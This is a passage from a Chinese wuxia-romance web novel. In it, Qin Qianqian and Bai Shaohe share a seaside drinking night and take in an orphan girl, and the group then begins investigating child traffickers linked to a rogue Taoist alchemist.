秦千千笑得开心，她坦然承认：“看来你们的确是第一次喝清风酒了，这是所有人第一次喝这个酒的时候，冒出的第一个感慨。”
有些人喝酒就求个畅快，那他们喝酒味儿不重的酒，就会觉得不够痛快。
可这恰恰进入了一个清风酒的误区，它是酒味儿不大，可不代表不醉人。
秦千千没有辩驳，让他们切身体会一番，比得过自己吹嘘的上百句话。聊着聊着，话题自然就转到了她失足落海的事情上。
“在座的各位都不是外人，那我就不妨跟大家明说了，反正这里僻静，不会有跟踪偷听的人。”
她自然听桑风雪说了，自己失踪时，众人找她的事情。这其中最敏感的，就是白邵禾知晓了芳草阁和姜千秋的事情。
白邵禾知道她早晚会聊这个，她若是绝口不提，那反而说明，她还在怀疑自己。现在坦诚布公的说，那就证明她信得过自己。
“我的确有个主人，她创立了一个组织，叫芳草阁。除了她，也就只有我能联系上芳草阁，这些酒，就是芳草阁送来的。”
这话明显是给白邵禾与元德说的，秦千千的目光一直在他们两个人之间流转。
白邵禾认真坦诚地看着她，聆听她说的事情。元德的心理承受力没有那么强，他只能故作镇定地喝酒，几乎没有停下来过。
“元德，邵禾兄，我没有告诉你们这事，你们也不需要见怪。这件事情，是江湖秘辛，整个江湖知道这事的人，屈指可数。”
这事可是花钱都买不来的事情，秦千千选择相信他们，这才坦诚地告诉他们。
“嗯。”白邵禾点头。
“主人和芳草阁也不是万能的，因此我也不敢事事指望她们。所以，这次我身陷囹圄，主人不会出手，以后也不会。若是我下次再出现这种事情，大家就可以平常心对待，人终有一死……”
白邵禾骤然偏过头，不愿再听。
又是这句话！
上次她们两个没有聊出个结果，现在这个事情又卷土重来了。
秦千千无视他的态度，悄然叹了口气，继续说道：“世事无常，我只希望大家在一起的时候是开心的。以后我再发生任何事，大家不必尽力救我。人各有命，我这个人信命。”
她们又欢声笑语聊了很久，后来各位陆续扛不住，直接躺在地上睡觉。最终只剩两位清醒的人，秦千千与只喝了一口酒白邵禾。
当看到元德都沉沉睡去的时候，白邵禾对清风酒的酒劲儿有了不一样的认知。
要知道，元德的酒量是百杯不倒，跟自己的酒量差不多。可他现在却只喝了一坛，就醉了。
白邵禾突然庆幸，自己因为置气，只喝了一口酒。他维持着原来的姿势，抬头看满天繁星，低头看汪洋大海，就是不看秦千千。
她又怎么看不明白？
在确定别人都睡着后，她蹑手蹑脚地走到白邵禾身边，扶着他的肩膀，坐在他身边。
“清风酒好喝吗？”
“不好喝。”他言简意赅，听得秦千千失笑。
不能因为自己牵连清风酒啊！她的名声不好可以，但招牌酒又何错之有。
“可是景色很不错，对吧？我想当初主人乘船停留在这里时，一定心中也很是感慨。”
秦千千是懂怎么挑起他的注意力的，白邵禾这才转头看她，眼神中的考究让人无法忽视。
“想听我主人的故事吗？”终于找到一个话题，秦千千可不得继续说下去。
“不，我想问你个问题。”白邵禾眸色凝重地盯着她。
秦千千颇为意外，但这人好在跟自己沟通了，那就由他问。
“若是有人喜欢你，你会怎么做呢？若是你喜欢一个人，你又会怎么做呢？”
比起姜千秋，白邵禾更加迫切地想要知道，这两个问题的答案。
虽然桑风雪话说的足够明白了，但他还是想亲口问出个结果。
秦千千刹那间呆住了，不过她
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立马就莞尔一笑，这个问题对她来说就完全不是问题。
她可是要把一辈子奉献给清风酒楼的人，因此，使命决定了这个问题的答案。
“我不会喜欢上任何人，哪怕喜欢上晏信，我也会像现在做的这样，送他走。或者，杀了他。”
白邵禾眉头微皱，她的话可比桑风雪说的，直白多了……
“这么说，你是喜欢上了晏信？”他突然觉得，一切都说的通了。
秦千千瞪着眼摇头，“说什么呢！他就跟你们是一样的，都是我的朋友啊。我现在还没喜欢过任何一个人呢！”
他很难说清楚自己的心情，不知道是该开心，还是该难过。好消息是她没有喜欢晏信，坏消息是她也没有对自己动过心。
看他默不作声，秦千千就歪头想要逗逗他。“不过也说不准，跟晏信相处一段时间后，我真的会喜欢上他。所以尽早赶走，才不会出错。”
白邵禾这下彻底明了，心中的醋坛子被打翻，他气绝地点头，“那我倒是觉得，你把他留在身边也好，察觉到自己喜欢上他后，我可以替你杀了他。”
他丝毫不掩饰，自己想公报私仇的意图。
秦千千惊讶地捂住自己的嘴，“我说着玩的！你快告诉我，你也是在开玩笑！”
她似乎真的被吓到了，可明明她刚刚说杀人的时候，就那么云淡风轻。现在自己要杀晏信，她怎么就突然慌了呢？
白邵禾完全没有察觉到，自己现在的脑子有些混沌不清。他不愿再想那么多，坦然地说出自己想说的话。
“我喜欢你。”
秦千千无措地眨了眨眼睛，嘴巴微张，却没有说出什么话。她一直盯着白邵禾，直到她眼睛酸了，才皱眉低头，错开了他的眼神。
“不是……”
“上一句才是玩笑话。”趁她低头，白邵禾敛藏起眼底的落寞。
秦千千这才大喘一口气，拍了拍自己的心口：“你吓死我了！”
白邵禾跟着笑，可他的笑有两份苦涩。他何尝如此怯懦过？甚至不敢问，自己的喜欢对她来说，居然是那么大的负担吗？
没等他问出口，秦千千主动聊起了这个话题。
“其实我也想过，若是我喜欢上一个人，那我只会藏在心底，甚至不会让那个人知道。不然，也会让他身陷险境的。”
这话白邵禾赞同，她有了心上人，要给江湖上那些人多少拿捏她的机会……
这对她、对清风酒楼、对姜千秋和芳草阁，都是致命的打击。
“那希望你千万要藏好啊！”这话是发自肺腑的，可他佯装醉酒昏倒，却是假的。
看他往自己这边倒，秦千千赶忙伸手一揽，让他倚在自己肩头。
白邵禾一方面在心中嘲讽满是私心的自己，可另一方面却安然地享受。毕竟，这种日子过一天少一天。他才不要跟晏信一样，心怀明月却人在天边。
不知怎地，他突然就说服了自己。既然已经知道不可能，那就让他暂且沉溺其中吧。
“这么俊美的脸，磕在地上岂不是可惜？”
秦千千的话，让他心跳如擂鼓，整个人都僵硬了一瞬。
86. 新成员是个小丫头
最后，秦千千还是把他放在了船上，自己起身去跟船老大又畅聊到很晚。船老大按照她的吩咐，早早把船停靠在岸边就回去了。
她们就在停泊的船上睡了一晚上。秦千千倚着桅杆，在天擦亮的时候才睡。
在她沉沉睡去的时候，白邵禾睁开眼睛，眼底没有丝毫困意。他沉默着喝完剩下的酒，醉意上头时天光大亮，索性就没有再睡。
他先行下船，沿着海边踱步，简则明跑来跟他汇报情况。
“公子，经过昨日的查探，段沙应该在两日后，跟冉喜民决一死战了。”
白邵禾之所以还在关注灵川坡的局势，是他觉得，秦千千还会再回去的。不是大战前，就是大战后。
哪怕段沙战败，她应该也会回去见一次冉喜民的吧？
姜千秋不干多余的事情，秦千千不会没缘由到那里去。白邵禾觉得，那灵川坡说不准，跟她们清风酒楼的生意有关。
他知晓此事后，就让简则明继续盯着，自己则是按兵不动。反正去哪里，都是秦千千决定的。
“公子，五个月的期限，现在已然过去一个多月。皇上那边，几日前传书信来。属下想，应该是问问这边的情况。”
简则明从怀中拿出火漆封印的信笺，白邵禾低眸看了眼，完全没有伸手接过。“知道了。就说我这边形势复杂，竭力进行中。”
而后他转身回去，留简则明在原地错愕。
这还是殿下第一次不看信笺，更何况，这是皇上送来的啊。简则明总觉得，这趟旅程还是让雷厉风行的殿下变了一些。
他不知道原因，可元德知道。
只不过今天殿下的表现，实在是太过异常，看得元德是提心吊胆的。几次三番下来，他也看明白了，殿下就是在跟秦千千嬉闹。
非礼勿视，非礼勿听！
秦千千一睁眼，就看到坐在自己身边的白邵禾，他眉目温情地看着她。
“我脸上有什么东西吗？”秦千千疑惑。
白邵禾笑着摇头：“没有，新学了相面，所以想帮你看看。”
这种怪力乱神的东西，秦千千最喜欢听了。她骤然来了兴致，开始直起身子，跟白邵禾坐而论道。
也不知道他是胡侃，还是真有本事，他用指尖描摹着秦千千的眉毛，一本正经地跟她分析。
“你这眉形像新月，眉高却不压眼，修长秀气，这种叫新月眉。你这种人，一般性情温良，心思细腻，待人尤为亲切。”
大早上的就听到夸奖，秦千千愉悦地挑了下眉。白邵禾也嘴角上扬地看着她，眼神温柔的不行。
桑风雪一觉醒来就看到两个人面对面，不知道在干嘛。她刻意咳嗽两声，提醒该被提醒的人。
秦千千不动声色地后仰身子，避开白邵禾捧着她左脸的手，她双手合十，朝他拜了两下。
“感谢大师指点！”说罢，她就看向走过来的桑风雪，“怎么样，是不是还跟往常一样，喝醉了头也没有痛吧？”
她就这样丝滑地开始介绍起，清风酒的这一大功效：宿醉后完全没有不适。
经她这么说，白邵禾才想明白，这点倒是真的。自己熬了一晚上，虽然头有些醉酒的昏沉，但完全没有头痛之类的症状。
桑风雪略带深意地扫了一眼白邵禾，他只当没看，起身朝船头走去。
在呼啸的海风中，白邵禾觉得自己从未如此清醒过。接下来该怎么走，该怎么办，他都已经想明白了。
感情之事，他决定任由其发展。
而姜千秋的事情，他想赶快了解。
快刀斩乱麻是对的，他拖得越久，日后跟她就越不好解释。相处这么久下来，白邵禾越发看透自己的心了。
从最开始时，他丝毫不在乎真相大白后，秦千千的反应；可现在不一样了，他不想秦千千为此跟自己决裂。
等人都聚齐后，秦千千跟大家宣布，她们今天就启程，去往下一个地方——叁余坊。
这下在座的人全懵了，怎么刚闲下来就要走？而且这个叁余坊，从来没有听说过这里。
白邵禾也有些意外，她居然要在段沙决战前离开吗？
秦千千却急得不行，说什么来不及了。下了船，安排桃花花她们随便买了些干粮，租了个马车就上路了。
坐上颠簸的马车后，秦千千这才有空跟她们解释，下一站要去的地方。
这也是她第一次跟众人坦白，除了清风酒楼外，芳草阁管辖的铺子。
“桃花，你知道我有身晚霞紫绫云纹青衫吧？”
桃花花当然记得，听说那衣服是主人带她去做的，颜色、花纹、样式，她都没有见过。而秦千千宝贝的不得了，别说摸了，连看都只让她看过两次。
“当然，你跟我提这个，不会是还要炫耀吧！”桃花花双手交叉，环抱在胸前。
她想装作毫不在乎，可那衣服好看的她发疯，实在装不出来不在乎。
白邵禾他们被她又气又恼的表情逗笑了，桃花花反驳他们：“你们是没见过那衣服好不好，真的特别特别漂亮！怎么说……就……”
秦千千摆摆手，让她形容个东西，真是为难她了。
“我那身衣服，就是在叁余坊定制的。当时主人做了件黑锻苍松纹的鹤氅，那黑绸光泽流转，奢华至极。再搭配上金线缝制的一松一柏，简直让人看得移不开眼睛。”
看她两眼放光的样子，白邵禾看明白了，她是很中意姜千秋的那件衣服啊。一旁的桃花花不干了，那件衣服她都没见过。
“所以你干嘛突然说起这个，我们的大家都没有，就你有！”说到最后三个字，桃花花的声音差点把车顶给掀了。
秦千千赶忙认怂，“这次就带你们去一趟叁余坊，一人给你们做一件衣服，就当我送你们的，如何？”
王老怪被酒水呛到，他用袖子擦了下嘴，“嗬！你什么时候这么大方了？”
“这叁余坊，不会是你们自己的店吧？”白邵禾歪头问她。
秦千千朝他投去了赞许的目光，顺便抬手戳了下坐在她和白邵禾中间的桃花花的脑袋。
“我百般暗示你，你还是没猜出来。”她嗔怪地埋怨桃花花，现在
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的桃花花那可不会跟她顶嘴。
她笑嘻嘻地揽住秦千千的胳膊，一个劲儿说自己错了。秦千千生拉硬拽，都抽不出胳膊。两个人拉扯间，马车突然停下，外面有人尖叫一声。
那尖锐的叫声，让秦千千怀疑，是不是谁被车轮轧到了。
“客官，这路上有个小女孩挡住了路。”车夫掀开轿帘，秦千千略微弯腰，看到了让她倒吸一口凉气的场景。
一个十岁左右的小女孩，身着灰麻布衣，可脸上身上全都是血。她双手展开挡住去路，可眼睛却充满了恐惧，甚至不敢跟人对视。
众人看到，也不能坐视不管，一行人就赶忙下车，朝她走过去。那小孩儿一看下车那么多人，就放下展开的手，往后跑了两步。
“小孩儿，你能听懂我们说话吗？”桃花花朝她喊。
要是说这一行人中，最会哄小孩儿的人，那个人肯定是桃花花。秦千千只适合跟大人打交道，小孩子这种作天作地的人，她一看到就头痛。
那女孩胆怯却又迅速地点头，桃花花转头看了秦千千一眼，神色放松了一些。
能听懂话，那就好办了。
“我们不会伤害你的，你愿意跟我去河边洗把脸吗？”桃花花面带微笑地看着她，那女孩儿打量她们，看起来不像是坏人，就踌躇地跟她走。
秦千千双手掐腰，站在原地看着她们离开的背影，王老怪不由得啧啧感叹：“你也别太难过了。”
反复看了他两眼，秦千千才知道他是在说自己。
“我难过什么。”
“你和桃花，不应该都是没人要的这种野孩子吗？”王老怪嘴快过脑子。
这话一出，秦千千给桑风雪使了个眼色，桑风雪就拎住了他后背的衣服。秦千千上去扯他的领子，准备带他去车后面狠揍一顿。
可却被白邵禾抬手拦住，“她们回来了，别吓到那个孩子。”他转眼看向王老怪，王老怪哪还敢瞎说，嘴早已抿成一条缝。
就这么点功夫，桃花花已经搞明白这小孩的来历了。
“她叫冬芸，家里人被山匪杀光了，已经在这里守了两天，想找一些好心人带她走。可是一看到她这满身是血的样子，路人都匆匆走了，没人敢停下。”
桃花花说着，还轻轻捏搭在她肩头的手，让她不要紧张。
秦千千眼神中又是惋惜、又是心软，还有一些感慨。桃花花平时最注意干净了，但她现在完全没有嫌弃这丫头脏。
挺好。
桃花花说这些，用意很明显，她想要征得秦千千的同意，带上这个小丫头。
白邵禾看她心不在焉地，就用胳膊碰了一下她，秦千千这才回过神。
“可以，沿途遇到小镇，咱们去给她买点衣服，把这脏衣服换下来。”
不管她再怎么发呆，一回过神，她都能迅速处理好眼前的事情。
这点白邵禾是十分佩服的，仿佛她神游天外的时候，还有空听周围人说话一样。
冬芸不知道跟谁学的，扑通一声跪在地上，重重地朝她磕了下头：“冬芸谢谢姐姐！”
87. 竟然遇到人贩子
本就不是很大的车上，再加了个小孩子，每个人都格外挤了些，不过大家都没有说什么。
为了方便照顾冬芸，桑风雪跟桃花花一左一右坐在冬芸身边。秦千千让出正中间的位置给冬芸做，自己挨着白邵禾落座。
下一个最近的镇子，也得一天后才能到达。车马晃动让秦千千困意上头，她左摇右晃的直不起头。
白邵禾干脆扶着她的头，让她依靠在自己肩头。秦千千没什么避讳，也没想那么多，就这么倚了上去。
桑风雪转头就看到这一幕，她眉头微皱。不是，白公子不是提前跟她说好了吗？可白邵禾特意避开她的眼神，心无旁骛地闭目养神。
半路上冬芸也困了，可她强撑着身体，没敢倒向身旁任何一位姐姐。桃花花心细如发，她知道冬芸是害怕别人嫌她脏。
车上的人都睡了，桃花花一句话没说，她揽着冬芸的肩膀，让她倚在自己怀里。冬芸这才沉沉睡去。
白邵禾深夜惊醒，不经意间打量冬芸，就发现她没有说实话。她身上的血迹，很明显是正面喷溅上去的。
而且是在在很近的距离内，拔刀溅上去的血迹。那个距离，只有可能是她自己动手下刀。
再看冬芸脚上鞋子磨损的痕迹，很明显就是这两天新磨损的。指不定，她是出于某种原因，杀人之后逃离现场的。
不管出于何种目的，她的确没说实话。白邵禾决定多留意一些这个小丫头，但愿她不会做什么蠢事。
秦千千就是想一出是一出的人，第二天一觉醒来，她非要去外面跟马夫同乘，说要看看沿途的风景。
外面本来就一左一右坐了两个马夫，再加上她，外面的作为也顿时有点紧张起来。
对比外面有说有笑的松快氛围，轿内的气氛更加凝重了。
好在又过了一个时辰，她们就到了一个小镇子。那镇子小到，秦千千都不知道它的名字。不过麻雀虽小五脏俱全，众人在这里歇歇脚还是没什么问题的。
秦千千跟两位马夫非常聊得来，就跟他们约定好，过几天启程的时候，再去找他们。
众人下车进镇的时候，冬芸忍不住在颤抖。秦千千以为她这是怕别人看到她浑身是血的样子，就让桃花花拿披风给她先披上。
“冬芸，待会儿我们找到客栈，就出去给你买衣服。”
冬芸十分乖巧地点头，秦千千宠溺地揉了揉她的头。
这次安排房间，终于松散了一些，桃花花主动要求跟冬芸一个房子，那边的王老怪也顺势要求，他想自己睡一个房间。
原因无他，上次在璃光海买的贝壳他还没有磨完，自己一个房间，他可以没日没夜地打磨那些贝壳。带着两大包贝壳上路，他一路上没少被秦千千明嘲暗讽。
因此这一路，他都没怎么跟秦千千拌嘴。
“不然收拾贝壳的声音，很容易影响他们两个休息。”
经历过溺水事件后，秦千千花钱愈发大度了，她什么都没说，点头应允。而这无意中，刚好成全了白邵禾与元德，这对儿主仆。
刚关上房门，冬芸就跪在了地上，她两眼含泪地告诉桃花花，自己骗了她们。
“姐姐，我是从一堆人贩子那里跑出来的。他们那里还有很多小孩子，就在这个镇子上，所以我不敢出门，你们能救救那些还没有逃出来的孩子吗？”
桃花花大吃一惊，她完全没想到，自从进了镇子冬芸就抬不起头，是因为怕被人贩子发现。
在她沉思的时间，冬芸以为她是不愿意，便直接哭诉不要她救别人了，也不要把她抛下。
这种事情，她们怎么不会管呢？
“人贩子？”秦千千突然从椅子上站起来，这种杀千刀的玩意儿怎么又开始在江湖上流窜了？
王老怪和桑风雪全都神色一凛，姜千秋有定下规矩，见到这种丧尽天良的人，要就地诛杀。而秦千千作为收账小能手，她也知道，酒楼每年会有一笔钱安置冬芸这种受害的孩子。
她们这算是民间自发惩治的行为，朝廷对此也是严惩不待的。这种环境下，没想到还能滋生这种组织。
秦千千语气温和地问她，让她复述当时的情况，越详细越好。
两个月前，冬芸跟父母回祖籍祭祖，可经过隆北道的时候，被人袭击，爹娘当场殒命，只剩冬芸被带回去，跟十几个孩子关在一起。
据冬芸的回忆，那暗不见天日的地方，时不时会天旋地转的。
“会不会是贼人不给你们吃饭，饿出幻觉来了？”桃花花想不明白，天地为何会晃动。
秦千千被气得翻了个白眼：“也就是说，她们有可能是被关在船舱里吧。”
白邵禾认可她这个说法，知道南梁朝严格禁止贩卖人口，那些人多半会把货物，也就是绑架来的人，困在船只上。稍有不对，就会驾船离开。
“若是出事暴露，他们就会边驾船离开，边杀人抛尸。”他刚说完，就被秦千千撞了下胳膊。
对上她蹙眉的表情，白邵禾才发觉自己多言了。冬芸还在这里，这话肯定是要吓到她的……
桃花花赶忙蹲下来，悄然转移冬芸的注意力。
“那冬芸你说说，你是怎么跑出来的呢？”
那天她被人牵着脖子上拴着的铁链拉出屋，头上蒙着黑布走到了一个茅草屋里。然后就有人摘掉她头上的黑袋子，也就是这时，她才时隔多日重见光明。
“那是一个衣着华贵的男人，他很高，腰上挂了好几块儿玉佩，他端详我的脸，然后说他要买了我。那时我往后偷瞄了一眼，看到两个蒙着脸的人。他们应该就是人贩子。”
说到这里，冬芸一脸困惑，她很想描述那高高在上的男子长的长相，却找不到语言形容。
“冬芸，我会找到他的，你继续往下说。”秦千千开口打断她的心事，她这才往下说。
“然后他说我太脏了，什么炼丹不合适，就让人带我去洗干净。我就趁着那男的帮我解开脖子上锁链的时候，抽出他的短刀，直接捅进他的脖子，然后我就逃跑了。”
这下情况彻底明了，白邵禾这才放下对她所有的戒备，最起码从自己的观察来看，冬芸说的跟他的猜测都对上了。
“冬芸，那你是怎么知道，你们进的是一间茅草房呢？”白邵禾问她。
冬芸一本正经地解释，她
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娘鼻子很灵，所以是当地出了名的配香大师，而她自小就嗅觉异常灵敏。
“我当时闻到了雨水浸润茅草，又有些发霉的味道，那种味道，让我觉得是茅草屋。而且周边只有那一个屋子，因为不同屋子的味道是不同的。那里除了潮湿的泥土，就只有一种那个味道。”
众人都没想到，这小丫头竟然还是个天才。这样搜寻的范围就小了很多，而且这种事情，越早处理越好。
让桃花花带冬芸去休息后，秦千千说出了自己的顾虑。
现在已经打草惊蛇了，可能人贩子早就逃走了。不过一定会留有蛛丝马迹，因此最好是立马开始行动。
“桑姐姐、王老怪、还有元德，你们三个吃过饭就出去转转，最好沿着河边找。”秦千千自己几斤几两还是清楚的，而且这事情偏偏又出现在水边，所以她不准备去那边逛。
白邵禾也揪着心，生怕她说她也要出去找。
“我就负责留在这里保护你们。”
“邵禾兄，咱们两个待会儿去给冬芸买衣服。在我们两个回来之前，你们就先守在这里，我担心咱们入了贼窝。只留桃花花她们两个人在，我不放心。”
出于慎重，她们叫的饭菜都是让送进房里的，王老怪验过没毒后，一行人才开始吃饭。
不过看着王老怪拿出银针试毒，白邵禾心底浮现一丝笑意，突然找回在王府用膳的样子。
秦千千和白邵禾吃过饭，先行离开。两个人边走边说，随便找到一家裁衣店，秦千千让老板给她挑几身衣服。
她和白邵禾商量好了，就按大人的衣服买，然后回去给她裁小一点。不能留下太多可疑的痕迹，冬芸说的太晚了，早的话，秦千千一定想办法，不让她露面。
回去后，桃花花揽下了改衣服的重任，白邵禾脸上略微有些吃惊，秦千千笑着跟他解释。
“别看桃花平时脾气暴躁的很，她还是很心灵手巧的。所以，我都在想，过几天要不要直接把你留在叁余坊算了，这样你……”
冬芸突然抬头看着她，“姐姐，你刚刚说的那个地方叫什么？”
秦千千不仅给她复述了一遍名字，她还跑到书案前，给她写了那几个字。不止写字，她还动笔给她画了近些年叁余坊几乎所有的花纹样式。
只有一个花纹她没有画出来，那是冬芸不可能看到的。那种独特的藤纹是主人专属的，那个古藤纹，天下只有三个人知道。
一个是主人，一个是亲手绣出藤纹的叁余坊坊主，另一个就是秦千千。
白邵禾盯着桌上制式繁复的花纹，心中又是一阵惊讶，她还真是十八班武艺，样样精通啊！看着她下笔的姿势、笔触，怎么看都是个练家子。
他不由得感叹，这清风酒楼的老板，也的确不是好当的。
秦千千已经画了十几章了，每个冬芸都皱着眉细细研究。秦千千不时抬头看她的表情，突然脑中灵光乍现。
炼丹！
她拿了张空白的纸，几笔勾勒出八卦图，以此为背景勾画出一个炉中烈火升腾的丹炉，丹炉中间隐约有颗金丹。
“对！那个人腰带正中间的图案，就是这个！”
88. 护国道派有辱天威
冬芸认出了这个图案，秦千千的眉头却紧皱了起来。
白邵禾有两分眼熟，可有实在想不起来。他以为秦千千发愁，是因为那人跟叁余坊有来往。
“千千，难不成那个妖道还跟叁余坊有关系？”桃花花不解地问。
“想什么呢！能在叁余坊定制这种繁杂图样的，全天下都没几个人。这个图案跟天家有关。”
白邵禾心下一惊，怎么扯上了皇家？不等他细想，秦千千就解释了来龙去脉。
当今护国道士的族派，便是任海君祖师创立的一道三派中的玄阳派。须弥、玄阳、天悲，三派互相独立，修养生息的功法也各不相同。
“对于皇上来说，有个护国法师，更像是寻求一个好兆头而已。所以吃上天家饭的玄阳道，自然比不上另外两道肆意洒脱。就拿图腾来说，屈居于天家脚下，玄阳道自然而然就放弃了他们的道徽。”
说到这里，秦千千手中的毛笔不停，直接笔走龙蛇画出另外两副相似的纹样。同样都是背靠八卦图，但中间炼丹炉的模样有些许不同。
一个是宝葫芦形状，一个是正常的炉鼎，最后一个则要奇怪一些，它的中间是一个尖顶宝塔的形状。
白邵禾这才恍然大悟，宝塔丹炉就是玄阳道，他在朝廷废除玄阳道图腾的时候见到过。可他眉眼间雀跃的神情，被秦千千捕捉到。
“邵禾兄莫非见到过这些？”
此话让白邵禾心中一咯噔，眼神一下子澄澈起来。
“没有，我就是在猜，冬芸见过的丹炉，是不是就是给皇家服务的？”
白邵禾明知故问，摆明了那凶手跟玄阳道——也就是护国法师的祖派没关系。秦千千却无法苟同，他还是不懂现在江湖上的一些规矩。
不是所有玄阳道都可以为皇上服务的，玄阳道的亲传弟子都在宫中，可散落在外的道友，他们也是要过活的。
“因此，又不能犯了天家忌讳，只能改称其他两派。这其中，天悲道之人各个身强体壮，一眼就能看出他们身份的真伪。因此，绝大部分玄阳道，都会装成须弥道之人，行走江湖。”
白邵禾还是疑惑不解，“难不成须弥道真就不出世，江湖上每个须弥道人都是玄阳道假扮的？”
秦千千重重点头，这话他还真说对了。
“须弥道主张的就是吸天地之精华，修万物之共感，须弥道人早在三百年前就隐匿于世了。除此之外，别无记载。因此，玄阳道的这个秘密，也算是是人皆知的。”
白邵禾心情郁闷，这真是有损天家威名，等他回京，定要好好查探一番。可秦千千接下来说的话，更是让他气不打一处来。
原来，不止不入流的玄阳道士会往宫外跑，有些有名有姓的，也会出了宫后就换身皮囊，承办宫外的各种事宜。
秦千千看他感兴趣，就多说了两句，谁知道白邵禾越说越生气。最后，他索性不再说话。
她拿起桌上的须弥道图案，跟冬芸再次确认，她看到的是这个图案。冬芸十分认真地点头，“他腰带上这里还缀了个红色的珠子，所以我记得清楚。”
秦千千看着她指的地方，原来是丹炉中间的那颗金丹。她不由得失笑，这道人真是心不静啊。
都说修道首先要修身养性，他倒好，上来就被名利财气晃住了眼睛。这种人，能修成才奇怪了呢。
有探查方向后，秦千千的神情就放松了一些。毕竟，她手中的线人能力，那可是有目共睹的。
只不过为难的是，现在白邵禾因为担心她的安危，寸步不离地跟着她，这让她没办法联系线人，就有些心烦意乱。
那边的白邵禾也有些为难，他也想赶快通知暗卫，飞书回京，立马彻查宫中玄阳道人的情况。以及，那个买人炼丹的妖道，是不是真的在皇宫中。
据他所知，玄阳道的确是会炼丹的。越想他就越生气，秦千千唤了他两声，白邵禾才回过神来。
“邵禾兄，你在屋里站一站，我去上个茅房。”
看出她是想出去联系线人，白邵禾暂时不打算跟着她了。凡事总有轻重缓急，他自己也要出去送信。
结果两个人还没回来，在外探查的三个人纷纷归来。元德给另外两位斟茶倒水，三个人都歇了口气后，才聊起外面的情况。
“也真是邪了门了，我去的隆北道的北方，放眼望去都有七八个那种孤零零的茅草屋。”王老怪一拍膝盖，啧啧感叹。
那些房子，他全部进去看了，构造都大差不差，也基本符合冬芸的说法。桑风雪和元德异口同声说：“我那边也一样！”
秦千千和白邵禾恰巧在客栈后门碰头，两个人默契地绝口不提刚刚的事情。
白邵禾不提是不想戳穿她，秦千千不提是怕他反问自己。
联系线人这种事情，桑风雪和桃花花都不知道，秦千千要保密到底的。若是泄露出去，那事情可就大了。
两个人并肩回屋，就看到她们三个人坐在桌边面面相觑。
“怎么，没找到一个符合的？”秦千千就近落座，自顾自地倒杯水畅饮。
“不，我们三个人几乎找到了三十处符合的地方。”
秦千千被呛得咳嗽了一声，什么玩意儿？
晚上，她得到了一个更加让她心凉的消息，周围不是三十处那种地方，而是九十七间河边小屋。
一一排查下来，那要排查到什么时候了？她还不能让最近的线人出来帮忙。
清风酒楼的线人分为两类，一种是遍布天下，而且可以听命她的普通线人；另一种就是入阁线人，她们直接听命与主人，如非必要是不跟秦千千见面的。
下午她出去找的，就是入阁的线人，因为这个地方太偏僻了，除了驻守在这里的入阁线人，普通线人是不会来这里的。
入阁线人她使唤不动……
“所以，我们现在能做的就是，一件一件过去探查？”说出这话，白邵禾也觉得跟做梦一样不可思议。
他是
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有人叫不出来，他甚至想，要不先把秦千千她们糊弄走，让暗卫接手这里算了。可他清楚，不明不白的，秦千千怎么会走呢？
秦千千又反复听了两三次冬芸复述，实在发现不了别的线索。杀了人后，她就只记得逃跑，再加上长期吃不饱，让她根本无暇顾及身边的环境。
冬芸只记得，当时天有些蒙蒙黑，脚下踩着的是有些湿润的沙地。她无暇顾忌那么多，就只能死命地往前赶。
秦千千也不忍心让她多次复述这种事情，就先让桃花花带她回去休息，剩下的人则是在桌边坐着沉默。
“我觉得，明天我们就兵分两路，一路人去找茅草屋，一路人就跟镇上的人打探，难不成这附近，只会丢一个人吗？”白邵禾提出自己的意见。
他目的十分明确，若是把秦千千她们借此安置在这里，他就能带着暗卫四散探查那九十七间茅屋。
就是他还没想到，怎么找个借口自己去茅屋。最多也就带个元德，再带上别人，那就真计划破灭了。
现在的情况，谁也不知道这小村落是不是沆瀣一气，因此，除了白邵禾他们这些武功高强的人，剩下的人最好是扎堆行动。
想到这里，秦千千先了点了头。
“我们尽量明天一天完成这边的事情，然后明天就去帮你。”
正中白邵禾下怀，当天晚上元德就把消息递出去，暗卫们集结好，就等第二天接到殿下示意后，直接行动了。
简则明快马加鞭来到隆北道，跟杨长乐碰头，问他这里的情况。
杨长乐也大吃一惊，照理说完成一个地方的任务后，那里的暗卫都会原地待命，像简则明这种在下一个环节露面的，还是任务执行中前所未有的情况。
“这里一切正常，不过你怎么来了？”杨长乐本就是一板一眼的人，他这么问自己，简则明也不奇怪。
“灵川山谷那边战况激烈，我给殿下送信来了。”
段沙和冉喜民的激战中，段沙被射中手臂，可他们那里只有后来掳来的赤脚医生。若是再不派人救治的话，战况绝对会急转直下，秦千千的期望就要落空了。
白邵禾当初给他下的命令就是，有任何风吹草动，立马来通知他。现在，简则明自然得来。
“那你在这里等等，我让人去联系元德。”
得知前因后果后，白邵禾就格外留意秦千千的动静，可她似乎并不知道这件事情。
反而是又在盯着手上的玉镯子发呆……
他让元德给简则明传话，继续盯着那边，不出意外的话，增援已经到了。
白邵禾不信，秦千千会袖手旁观。能让她现在无动于衷的原因，那就只能是她提前安排好了后手。
果不出他所料，简则明在夜班回程的时候，遇到了前来传信的人，当初送粮的那个女人带着人马去支援，战况一片大好。
简则明满心感慨往回赶的时候，丝毫没有察觉，那项链被颠出怀中，悄然落在路边的杂草上。
89. 当时只道是寻常
第二天众人起了个大早，一同吃过早饭后，就分道扬镳开始行动。临行前，秦千千还叮嘱白邵禾，万事要多加小心。
“不用那么着急，明天我们就过来帮你。”
白邵禾走到最近的河边茅屋，杨长乐带领四个人等在里面。他根据冬芸的说法，给杨长乐他们提供了几个探察重点。
首先，是要看看门前河流的深度够不够行船。河流不比大海，会潮涨潮落，河的深度一般很固定。更别说这种，河边还有很多房子的地方，那建房子的人肯定知道河淹不到房子。
其次，就是看房子窗户处，有没有新近磨损的迹象。冬芸说她是翻窗户跑的，那就肯定会留下些痕迹。
不过还有一个诡异的地方，就是冬芸说她逃离那里的时候，看到了右边有很多亮晶晶的东西，一闪一闪的。
桃花花当时还问，那是不是天上的星星，她看错了。冬芸十分肯定地摇头，那绝对不是星星，就是某种会动的东西。
白邵禾几乎是立马就想到一种生物——鹰。他养过雄鹰，清楚地知道鹰眼晚上是会发亮的。只不过在这空旷的地方，怎么会有鹰呢？
最起码，得有高山树林吧。
可若是真有高山树林，冬芸又怎么会看不到，还说周围空旷无比呢？
他想不出个所以然，就先让杨长乐他们查这两条，自己也开始就近检查起来。为了方便明天的检查，白邵禾特意让暗卫从最远处查起，逐步往内收缩。
可刚过正午，行动迅速的暗卫就搜查干净所有的房屋了，并没有发现异常。
